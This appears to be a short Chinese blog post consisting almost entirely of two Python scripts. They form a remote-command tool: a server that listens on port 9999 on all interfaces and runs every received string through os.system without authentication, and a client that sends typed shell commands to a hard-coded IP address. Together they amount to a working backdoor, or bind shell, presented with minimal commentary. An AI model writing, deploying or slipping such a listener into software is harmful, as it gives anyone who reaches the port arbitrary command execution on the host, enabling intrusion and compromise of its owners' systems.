服务端 Server.py
import os
import socket
# 设置服务端IP和端口
bind_ip = "0.0.0.0"
bind_port = 9999
# 创建一个TCP socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定IP和端口
server.bind((bind_ip, bind_port))
# 设置最大连接数,超过后排队
server.listen(5)
# 循环等待客户端连接
while True:
try:
client, addr = server.accept()
while True:
data = client.recv(1024)
if not data:
break
# 执行命令
os.system(data.decode("utf-8"))
client.send("ACK!".encode("utf-8"))
client.close()
except KeyboardInterrupt:
break
except Exception as e:
continue
客户端 Client.py
import socket
# 服务器地址和端口
HOST = '10.253.67.124'
PORT = 9999
# 创建socket对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务器
s.connect((HOST, PORT))
# 发送数据
while True:
cmd = input("Please input Shell: ")
s.send(cmd.encode("utf-8"))
data = s.recv(1024)
# print("server send : %s " % (data.decode("utf-8")))
原创文章,作者:智企网络工作室,如若转载,请注明出处:https://www.harcker01.cn/index.php/archives/14/